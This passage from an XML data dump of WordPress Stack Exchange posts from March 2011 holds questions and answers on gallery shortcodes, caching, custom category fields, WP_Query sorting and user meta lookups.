Release.&quot;&lt;/p&gt;&#xA;" OwnerUserId="458" LastActivityDate="2011-03-08T06:33:21.850" CommentCount="1" />
  <row Id="11441" PostTypeId="1" AcceptedAnswerId="11446" CreationDate="2011-03-08T07:03:44.347" Score="0" ViewCount="220" Body="&lt;p&gt;Is it possible to customize how my gallery shortcode works. eg. have a div for showing the image then a list of thumbnails at the bottom or side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps I can create a custom template file to loop through my page's gallery images?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-05-07T19:44:10.323" Title="Is it possible to customize the layout of Gallery Shortcode?" Tags="&lt;theme-development&gt;&lt;gallery&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="11442" PostTypeId="1" CreationDate="2011-03-08T07:15:47.127" Score="2" ViewCount="84" Body="&lt;p&gt;I'm working on a project for a school district I work at where we want to use Word Press to have employees from all of the buildings post announcements and press releases via Word 2007.  We will then use RSS feeds to show the information on the district's web page and other subscribed locations.  The problem we are running into is when we create user roles for categories, this basically is not working through the XML-RPC in Word 2007.  It is working fine within the administration panel, but when the user goes to insert a category in Word, all of the categories are shown.  We would like to limit the available categories by user so that only a building secretay and principla can post the the high school category for example.   I have been search for a couple of weeks for a solution to this, if one exists.  Does anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3793" LastActivityDate="2011-08-30T03:36:43.273" Title="Is it possible to post with Word 2007 via XML-RPC and limit categories by user?" Tags="&lt;categories&gt;&lt;security&gt;&lt;xml-rpc&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11443" PostTypeId="1" AcceptedAnswerId="11445" CreationDate="2011-03-08T08:11:43.683" Score="2" ViewCount="24" Body="&lt;p&gt;I've been using the Rss widget in my site, and suddenly a few days ago, the admin part stopped responding.&lt;br&gt;&#xA;That is, I'd change the link to the Rss and it wouldn't get saved (and therefore would show the old Rss in the site). Or I would add another Rss widget, but after I refreshed the admin page, I'd see the widget, but without the links and the other options I added.&lt;br&gt;&#xA;Then I got to thinking that maybe one of the plugins could be causing the problem.&lt;br&gt;&#xA;Are there known plugins that would do that?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-08T08:20:51.803" Title="Are there plugins that interfere with the admin part of Rss widget?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="11444" PostTypeId="1" AcceptedAnswerId="14057" CreationDate="2011-03-08T08:16:52.823" Score="1" ViewCount="104" Body="&lt;p&gt;First of all, sorry if I'm making a mistake. I already &lt;a href=&quot;http://serverfault.com/questions/244163/my-wordpress-site-always-displays-a-cached-version-of-its-homepage&quot;&gt;asked this on the ServerFault forum&lt;/a&gt;, but got no answers at the moment and I thought it would be a good idea to ask the question here, considering that it is a WordPress specific question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a WordPress site that runs fine, but there's a strange behaviour: one a reader loads the page, &lt;strong&gt;the site shows a &quot;cached&quot; version&lt;/strong&gt; of the site, with the same news and comment numbers that the reader viewed when he visited the site last time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So every user &lt;strong&gt;has to reload the page&lt;/strong&gt; (Ctrl+F5, Cmd+R) in order to get the &quot;real&quot;, and updated homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why this is happening. At the moment I'm not using any cache plugin, and my server is running &lt;strong&gt;Nginx+MySQL+PHP-FPM&lt;/strong&gt; on a Ubuntu 10.04 LTS Linux VPS. Is there something I must change on the nginx config files, maybe?&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-07-05T14:22:16.803" Title="My WordPress site always displays a cached version of its homepage" Tags="&lt;mysql&gt;&lt;cache&gt;&lt;nginx&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="0" />
  <row Id="11445" PostTypeId="2" ParentId="11443" CreationDate="2011-03-08T08:20:51.803" Score="2" ViewCount="" Body="&lt;p&gt;I found that I had to disable 2 plugins:&#xA;&lt;a href=&quot;http://lesterchan.net/portfolio/programming/php/&quot; rel=&quot;nofollow&quot;&gt;WP-Polls&lt;/a&gt; and &lt;a href=&quot;http://bueltge.de/wp-suchen-und-ersetzen-de-plugin/114/&quot; rel=&quot;nofollow&quot;&gt;Search &amp;amp; Replace&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-08T08:20:51.803" />
  <row Id="11446" PostTypeId="2" ParentId="11441" CreationDate="2011-03-08T08:39:15.410" Score="0" ViewCount="" Body="&lt;p&gt;You may complete override your gallery shortcode using the filter &lt;code&gt;post_gallery&lt;/code&gt;. The return is displayed in your page and no further processing of the shortcode is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may iterarate through the image attached to your post to build your own gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the implementation of gallery shortcode here: &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/media.php#L758&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/trunk/wp-includes/media.php#L758&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;There are some plugins that modify the default behaviour of the gallery shortcode. Search it from the &quot;Add New Plugin&quot; of the backend. Use the string &quot;gallery shortcodes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: if you want you can use nextgen-gallery to manage your photos. It has numerous plugin to display with other gallery, like Smooth Gallery, Nivo Slider or jQuery cycle.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-03-08T08:55:36.563" LastActivityDate="2011-03-08T08:55:36.563" />
  <row Id="11447" PostTypeId="2" ParentId="11439" CreationDate="2011-03-08T08:44:23.643" Score="1" ViewCount="" Body="&lt;p&gt;Regularly You have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php edit_post_link( $link, $before, $after, $id ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example use &quot;echo&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $post-&amp;gt;ID ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $post-&amp;gt;ID ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-08T08:44:23.643" />
  <row Id="11448" PostTypeId="1" CreationDate="2011-03-07T12:39:42.733" Score="1" ViewCount="78" Body="&lt;p&gt;I have a WordPress site that runs fine, but there's a strange behaviour: one a reader loads the page, &lt;strong&gt;the site shows a &quot;cached&quot; version&lt;/strong&gt; of the site, with the same news and comment numbers that the reader viewed when he visited the site last time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So every user &lt;strong&gt;has to reload the page&lt;/strong&gt; (Ctrl+F5, Cmd+R) in order to get the &quot;real&quot;, and updated homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why this is happening. At the moment I'm not using any cache plugin, and my server is running &lt;strong&gt;Nginx+MySQL+PHP-FPM&lt;/strong&gt; on a Ubuntu 10.04 LTS Linux VPS. Is there something I must change on the nginx config files, maybe? &lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-03-08T09:04:47.150" Title="My WordPress site always displays a cached version of its homepage" Tags="&lt;nginx&gt;&lt;cache&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="11449" PostTypeId="1" CreationDate="2011-03-08T09:41:05.227" Score="0" ViewCount="372" Body="&lt;p&gt;Thanks to @MikeSchinkel I have the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term = get_query_var('term');&#xA;    $brand = get_term_by('slug',$term,'brands'); // This here just to illustrate&#xA;    $categories = get_cross_referenced_terms(array(&#xA;    'post_type'        =&amp;gt; 'Products',&#xA;    'taxonomy'         =&amp;gt; 'category',&#xA;    'related_taxonomy' =&amp;gt; 'brands',&#xA;    'term_id'          =&amp;gt; $brand-&amp;gt;term_id&#xA;  ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which uses the following function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// query to get categories for a specific tag&#xA;function get_cross_referenced_terms($args) {&#xA;  global $wpdb;&#xA;  $args = wp_parse_args($args,array(&#xA;    'post_type'        =&amp;gt; 'Products',&#xA;    'taxonomy'         =&amp;gt; 'category',&#xA;    'related_taxonomy' =&amp;gt; 'brands',&#xA;    'term_id'          =&amp;gt; 0,&#xA;  ));&#xA;  extract($args);&#xA;  $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT DISTINCT&#xA;  {$wpdb-&amp;gt;terms}.*,&#xA;  COUNT(*) AS post_count&#xA;FROM&#xA;  {$wpdb-&amp;gt;terms}&#xA;  INNER JOIN {$wpdb-&amp;gt;term_taxonomy} ON {$wpdb-&amp;gt;terms}.term_id={$wpdb-&amp;gt;term_taxonomy}.term_id&#xA;  INNER JOIN {$wpdb-&amp;gt;term_relationships} ON {$wpdb-&amp;gt;term_taxonomy}.term_taxonomy_id={$wpdb-&amp;gt;term_relationships}.term_taxonomy_id&#xA;  INNER JOIN {$wpdb-&amp;gt;posts} ON {$wpdb-&amp;gt;term_relationships}.object_id={$wpdb-&amp;gt;posts}.ID&#xA;  INNER JOIN {$wpdb-&amp;gt;term_relationships} related_relationship ON {$wpdb-&amp;gt;posts}.ID=related_relationship.object_id&#xA;  INNER JOIN {$wpdb-&amp;gt;term_taxonomy} related_term_taxonomy ON related_relationship.term_taxonomy_id=related_term_taxonomy.term_taxonomy_id&#xA;  INNER JOIN {$wpdb-&amp;gt;terms} related_terms ON related_term_taxonomy.term_id=related_terms.term_id&#xA;WHERE 1=1&#xA;  AND related_terms.term_id&amp;lt;&amp;gt;{$wpdb-&amp;gt;terms}.term_id&#xA;  AND {$wpdb-&amp;gt;posts}.post_type='%s'&#xA;  AND {$wpdb-&amp;gt;term_taxonomy}.taxonomy='%s'&#xA;  AND related_term_taxonomy.taxonomy='%s'&#xA;  AND related_terms.term_id=%d&#xA;  AND {$wpdb-&amp;gt;term_taxonomy}.parent=0&#xA;GROUP BY&#xA;  {$wpdb-&amp;gt;terms}.term_id&#xA;SQL;&#xA;  $sql = $wpdb-&amp;gt;prepare($sql,$post_type,$taxonomy,$related_taxonomy,$term_id);&#xA;  $terms = $wpdb-&amp;gt;get_results($sql);&#xA;  return $terms;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is used on the category.php page and works great, but I need to now use the same code (ideally) on the child category page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example I have it on a category page of 'trainers', filtered by brand of 'nike' for the custom post type 'products'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now need it to show all child categories of 'trainers', also filtered by brand of 'nike' for custom post type of 'products'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to simply add?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'category_id'         =&amp;gt; '$parent_category',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated! Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-03-08T09:41:05.227" Title="get_categories for custom post type and filter by custom taxonomy (brand) and list child categories of a defined category" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;taxonomy&gt;&lt;archive&gt;" CommentCount="1" />
  <row Id="11451" PostTypeId="1" AcceptedAnswerId="11452" CreationDate="2011-03-08T10:04:12.627" Score="0" ViewCount="181" Body="&lt;p&gt;Seem to be having a few issues with this project lately so sorry for spamming questions! I needed to give the category edit page in the admin a few additional fields to allow my client to manage them better. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra fields I added are 'Category Features' and 'Category Applications' and the following code seems to be working as expected: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add custom fields to category edit pages&#xA;// the option name&#xA;define('Category_Extras', 'Category_Extras_option');&#xA;&#xA;// your fields (the form)&#xA;add_filter('edit_category_form', 'Category_Extras');&#xA;function Category_Extras($tag) {&#xA;    $tag_extra_fields = get_option(Category_Extras);&#xA;&#xA;&#xA;&#xA;    ?&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;Category_Extras_Features&quot;&amp;gt;Category Features&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;textarea style=&quot;width: 97%;&quot; cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;Category_Extras_Features&quot; id=&quot;Category_Extras_Features&quot; class=&quot;tinymce&quot;&amp;gt;&amp;lt;?php  echo $tag_extra_fields[$tag-&amp;gt;term_id]['Category_Extras_Features']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;This isn't applicable to all categories but allows additional information to be displayed on a category page.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;Category_Extras_Applications&quot;&amp;gt;Category Applications&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;textarea style=&quot;width: 97%;&quot; cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;Category_Extras_Applications&quot; id=&quot;Category_Extras_Applications&quot; class=&quot;Category_Extras_Features&quot;&amp;gt;&amp;lt;?php  echo $tag_extra_fields[$tag-&amp;gt;term_id]['Category_Extras_Applications']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;This isn't applicable to all categories but allows additional information to be displayed on a category page.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;&#xA;// when the form gets submitted, and the category gets updated (in your case the option will get updated with the values of your custom fields above&#xA;add_filter('edited_terms', 'update_Category_Extras');&#xA;function update_Category_Extras($term_id) {&#xA;  if($_POST['taxonomy'] == 'category'):&#xA;    $tag_extra_fields = get_option(Category_Extras);&#xA;    $tag_extra_fields[$term_id]['Category_Extras_Features'] = strip_tags($_POST['Category_Extras_Features']);&#xA;    $tag_extra_fields[$term_id]['Category_Extras_Applications'] = strip_tags($_POST['Category_Extras_Applications']);&#xA;    update_option(Category_Extras, $tag_extra_fields);&#xA;  endif;&#xA;}&#xA;&#xA;&#xA;// when a category is removed&#xA;add_filter('deleted_term_taxonomy', 'remove_Category_Extras');&#xA;function remove_Category_Extras($term_id) {&#xA;  if($_POST['taxonomy'] == 'category'):&#xA;    $tag_extra_fields = get_option(Category_Extras);&#xA;    unset($tag_extra_fields[$term_id]);&#xA;    update_option(Category_Extras, $tag_extra_fields);&#xA;  endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm echo'ing this out on the page as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $prod_features = get_option(Category_Extras); foreach($prod_features as $feature) { echo $feature['Category_Extras_Features']; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, obviously its echoing out all the options for all the categories. Is there a different finction which would allow me to echo out the 'Category Features' for the current category? (this code is being displayed on the category.php page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always I'd really appreciate your help :-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-05-10T19:32:36.737" Title="Custom Fields to Category edit page, then displaying them in a template correctly" Tags="&lt;categories&gt;&lt;custom-field&gt;&lt;template&gt;&lt;editor&gt;" AnswerCount="2" />
  <row Id="11452" PostTypeId="2" ParentId="11451" CreationDate="2011-03-08T10:24:01.917" Score="0" ViewCount="" Body="&lt;p&gt;Sorted this myself! May help some people... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = get_query_var('cat');&#xA;$prod_extras = get_option(Category_Extras);&#xA;$this_application = $prod_extras[$cat]['Category_Extras_Applications'];&#xA;&#xA;if(!empty($this_application)) { echo $this_application; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-03-08T10:24:01.917" CommentCount="2" />
  <row Id="11453" PostTypeId="1" CreationDate="2011-03-08T10:26:33.833" Score="1" ViewCount="802" Body="&lt;p&gt;I have been working for many days on this. I want to assigned category to author. I have googled, found some tips and plugins but doesn't work with Wordpress 3.1. I just come up with my own idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I as admin will create a category for an author than define or put category slug name in their respective profile meta field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a Custom Post type name 'networks and taxonomy = blogs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am trying to include only the profile meta field  value (I said above) in the wp dropdown categories as default and hide it in my custom posting form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cat ID and Name are correct when I echo it but it does not include in the drop list. Can anyone help me?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $current_user;&#xA;&#xA;get_currentuserinfo();&#xA;&#xA;$authorcategory = get_the_author_meta('authorcategory', $current_user-&amp;gt;ID);&#xA;$myterm = get_term_by( 'slug', $authorcategory, 'blogs');&#xA;&#xA;if ( is_term( $authorcategory, 'blogs' &amp;amp;&amp;amp; $authorcategory == $myterm ) ) {&#xA;    $my_cat_id = get_cat_id($authorcategory);&#xA;    $my_cat_name = get_cat_name($my_cat_id);&#xA;    $args = array(&#xA;        'orderby' =&amp;gt; 'name',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'show_last_update' =&amp;gt; 0,&#xA;        'style' =&amp;gt; 'list',&#xA;        'show_count' =&amp;gt; 0,&#xA;        'hide_empty' =&amp;gt; 0,&#xA;        'include' =&amp;gt; $my_cat_name,&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'title_li' =&amp;gt; __( 'Categories' ),&#xA;        'show_option_none' =&amp;gt; __('No categories'),&#xA;        'number' =&amp;gt; NULL,&#xA;        'taxonomy' =&amp;gt; 'blogs'&#xA;    );&#xA;    wp_dropdown_categories($args); &#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-08T10:45:38.100" LastActivityDate="2011-08-08T09:20:58.063" Title="Creating Custom wp_dropdown_categories" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="11454" PostTypeId="2" ParentId="11415" CreationDate="2011-03-08T10:42:59.027" Score="1" ViewCount="" Body="&lt;p&gt;Despite &lt;code&gt;meta_key&lt;/code&gt; being deprecated, it is still required to get the orderby to work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First and foremost though, there's an error with your code, and that's in using &lt;code&gt;order_by&lt;/code&gt; and not &lt;code&gt;orderby&lt;/code&gt; (there's no underscore in the orderby arg).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give this a shot and see how it works out for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$event_query = new WP_Query( array( &#xA;    'post_type'   =&amp;gt; 'event',&#xA;    'meta_key'    =&amp;gt; 'event-month',&#xA;    'meta_query'  =&amp;gt; array(&#xA;        array( &#xA;            'key'     =&amp;gt; 'event-month',&#xA;            'value'   =&amp;gt; date(&quot;n&quot;),&#xA;            'compare' =&amp;gt; '=',&#xA;            'type'    =&amp;gt; 'NUMERIC'&#xA;        )&#xA;    ),&#xA;    'orderby'    =&amp;gt; 'meta_value',&#xA;    'order'       =&amp;gt; 'asc', &#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to add a second meta key, and sort by that key, just ensure that key is inside the &lt;code&gt;meta_key&lt;/code&gt; arg, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$event_query = new WP_Query( array( &#xA;    'post_type'   =&amp;gt; 'event',&#xA;    'meta_key'    =&amp;gt; 'some-key',&#xA;    'meta_query'  =&amp;gt; array(&#xA;        array( &#xA;            'key'     =&amp;gt; 'some-key',&#xA;            'value'   =&amp;gt; 'whatever',&#xA;            'compare' =&amp;gt; '=',&#xA;            'type'    =&amp;gt; 'NUMERIC'&#xA;        ),&#xA;        array( &#xA;            'key'     =&amp;gt; 'event-month',&#xA;            'value'   =&amp;gt; date(&quot;n&quot;),&#xA;            'compare' =&amp;gt; '=',&#xA;            'type'    =&amp;gt; 'NUMERIC'&#xA;        )&#xA;    ),&#xA;    'orderby'    =&amp;gt; 'meta_value',&#xA;    'order'       =&amp;gt; 'asc', &#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Odd that you should need &lt;code&gt;meta_key&lt;/code&gt; for the sort, but i don't see the orderby being respected without it, i can see how the query appears inside &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar/&quot; rel=&quot;nofollow&quot;&gt;debug bar&lt;/a&gt;'s queries tab and as far as i can tell &lt;code&gt;meta_key&lt;/code&gt; is currently required to get a proper sort on &lt;code&gt;meta_value&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-08T10:42:59.027" CommentCount="4" />
  <row Id="11455" PostTypeId="2" ParentId="9577" CreationDate="2011-03-08T10:52:09.613" Score="0" ViewCount="" Body="&lt;p&gt;I recommend you use &lt;a href=&quot;http://mondaybynoon.com/wordpress-attachments/&quot; rel=&quot;nofollow&quot;&gt;Attachments&lt;/a&gt; plugin. This adds a small meta box to the bottom of a post, where the user can easily add images from the library or upload new images. If you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;add_image_size&lt;/a&gt; you can add support for any sizes your themes needs. They can also re-order the images by drag and drop and add metadata such as caption and alt text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can integrate this into your theme really easily, images will always be the right size and you can then add something like jQuery cycle to add &lt;a href=&quot;http://jquery.malsup.com/cycle/&quot; rel=&quot;nofollow&quot;&gt;rotating images&lt;/a&gt; on each post.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-03-08T10:52:09.613" />
  <row Id="11456" PostTypeId="2" ParentId="11441" CreationDate="2011-03-08T10:55:21.780" Score="0" ViewCount="" Body="&lt;p&gt;I would recommend the &lt;a href=&quot;http://mondaybynoon.com/wordpress-attachments/&quot; rel=&quot;nofollow&quot;&gt;Attachments plugin&lt;/a&gt; instead of using the gallery, it uses the regular wordpress media library, but you can control the output much more easily. If you pair it up with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;add_image_size&lt;/a&gt; you can create a range of different thumbnails.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-03-08T10:55:21.780" />
  <row Id="11457" PostTypeId="1" CreationDate="2011-03-08T10:56:53.137" Score="0" ViewCount="137" Body="&lt;p&gt;I run wp locally with xamp, and have 4 sites. After I upgraded to 3.1 I can only get into the dashboard of the main lcalhost/wordpress site. All sites run fine from the frony end.&#xA;I can create new sites and use the themes of the existing sites just fine, so all I really want now is to be able to get the data from 1 of the subsites (pages/post/catagories etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can run some sort of export for this (from phpadmin maybe) ?&lt;/p&gt;&#xA;" OwnerUserId="3497" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-16T22:03:30.143" LastActivityDate="2011-08-15T06:24:36.640" Title="After upgrade to 3.1 I can´t get into the dashboard of subsites" Tags="&lt;upgrade&gt;&lt;export&gt;&lt;3.1&gt;" AnswerCount="3" />
  <row Id="11458" PostTypeId="2" ParentId="11457" CreationDate="2011-03-08T11:12:34.083" Score="0" ViewCount="" Body="&lt;p&gt;Try to rebuild permalinks. Go &quot;Options&quot; -&gt; &quot;Permalinks&quot; and hit &quot;Save Changes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-08T11:12:34.083" CommentCount="1" />
  <row Id="11459" PostTypeId="1" AcceptedAnswerId="11464" CreationDate="2011-03-08T11:27:12.603" Score="0" ViewCount="196" Body="&lt;p&gt;i'd like to list my 10 most recent posts but from certain categories only -&#xA;anyone can tell me how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-08T13:20:36.967" Title="query recent posts from several categories" Tags="&lt;query-posts&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="11460" PostTypeId="2" ParentId="10772" CreationDate="2011-03-08T11:49:27.017" Score="0" ViewCount="" Body="&lt;p&gt;Those headers which you've put in your question apply to the entire page, you can't set them just for a sidebar as the page has already been loaded at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do as Ross said and alternatively load the sidebar fragment after the page has loaded via ajax, or you could use an iframe to load in. You could then use the headers to set the expiry of the sidebar content separately to the main page.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-03-08T11:49:27.017" />
  <row Id="11461" PostTypeId="1" AcceptedAnswerId="11481" CreationDate="2011-03-08T11:49:52.257" Score="1" ViewCount="153" Body="&lt;p&gt;I am trying to access data from some custom fileds in my MySQL db so that I can add them to a webpage that will be printed out. The data is held in a column called &quot;paypal_user&quot; and I need to access one piece of data and print that along with the user id of the user. I've had a little help with the code but I am stuck as I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call to undefined function get_user_meta()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below. Thanks in advance for any help.    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include_once('wp-config.php');&#xA;include_once('wp-load.php');&#xA;include_once('wp-includes/wp-db.php');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;Untitled Document&amp;lt;/title&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;&#xA;&amp;lt;!--    styling stuff --&amp;gt;&#xA;&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;top_badge&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;if ( is_user_logged_in() ) {&#xA;&#xA;global $user_ID;&#xA;&#xA;// Get the 'paypal_user' info for the user. Just fetch a single&#xA;// value, not an array.&#xA;$paypal_user = get_user_meta($user_ID, 'paypal_user', true);&#xA;$exp_date = $paypal_user-&amp;gt;expire_date;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;member_no_1&quot;&amp;gt;&amp;lt;?php echo '$user_ID' ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;member_lp_1&quot;&amp;gt;PR34 2PL&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;member_exp_1&quot;&amp;gt;&amp;lt;?php echo '$exp_date' ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3245" LastActivityDate="2011-03-08T14:59:28.030" Title="Call to undefined function get_user_meta() - trying to access data in MySQL from custom fields" Tags="&lt;database&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="1" />
